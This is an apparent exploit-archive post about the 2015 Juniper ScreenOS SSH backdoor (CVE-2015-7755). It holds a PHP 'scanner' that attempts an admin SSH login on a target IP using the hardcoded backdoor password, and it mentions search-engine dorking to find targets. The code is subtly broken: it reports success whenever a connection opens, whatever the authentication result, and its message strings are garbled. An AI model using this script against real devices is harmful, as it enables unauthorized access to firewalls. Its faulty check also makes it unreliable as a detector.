The Juniper ScreenOS 6.2.0r15 backdoor refers to a critical vulnerability The Juniper ScreenOS 6.2.0r15 backdoor refers to a critical vulnerability discovered in December 2015. It comprised two distinct, unauthorized code modifications within the firewall's operating system.

One allowed passive decryption of VPN traffic, leveraging a secret key to compromise confidentiality. The other enabled unauthorized remote administrative access via an authentication bypass. Versions like 6.2.0r15 and others were impacted, affecting Juniper NetScreen and SRX devices.

A "Backdoor Scanner" for this issue would be a tool developed to identify if a device was running a vulnerable ScreenOS version. Its primary goal was to help organizations quickly assess their exposure and prompt patching to secure firmware versions. This incident was a major security breach, raising concerns about supply chain integrity.

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| # Title : Juniper ScreenOS 6.2.0r15 PHP Backdoor Scanner |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.juniper.net/us/en.html |
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POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Performs backdoor scanning on Juniper devices via SSH .

The code is now written in PHP and is able to scan devices for the Juniper SSH Backdoor vulnerability in the same way the original code in Metasploit does.

If the code is able to log in using the vulnerability data, it reports the compromised device.

The code runs on any IP you specify when running.

( Related : https://packetstorm.news/files/id/181226/ Related CVE Numbers: CVE-2015-7755 )

[+] save code as poc.php.

[+] Set Target : line 40

[+] USage : php poc.php

[+] PayLoad :

<?php

class JuniperSSHScanner {
private $rport;
private $sshTimeout;
private $sshDebug;

public function __construct($rport = 22, $sshTimeout = 10, $sshDebug = false) {
$this->rport = $rport;
$this->sshTimeout = $sshTimeout;
$this->sshDebug = $sshDebug;
}

public function runHost($ip) {
$username = 'admin';
$password = "<<< %s(un='%s') = %u";

$connection = @ssh2_connect($ip, $this->rport);
if (!$connection) {
echo "[-] ??? ??????? ?? $ip:$this->rport \n";
return;
}

ssh2_auth_password($connection, $username, $password);
if ($connection) {
echo "[+] ?? ????? ?????? ???????? ?????? ?????? ??? $ip:$this->rport \n";
$this->reportVuln($ip);
} else {
echo "[-] ??? ????? ?????? ?? backdoor ??? $ip:$this->rport \n";
}
}

private function reportVuln($ip) {
echo "[*] ?????? $ip ????? ??? ?????? ????????!\n";
}
}

// ????? ?????
$scanner = new JuniperSSHScanner();
$scanner->runHost('192.168.1.1');



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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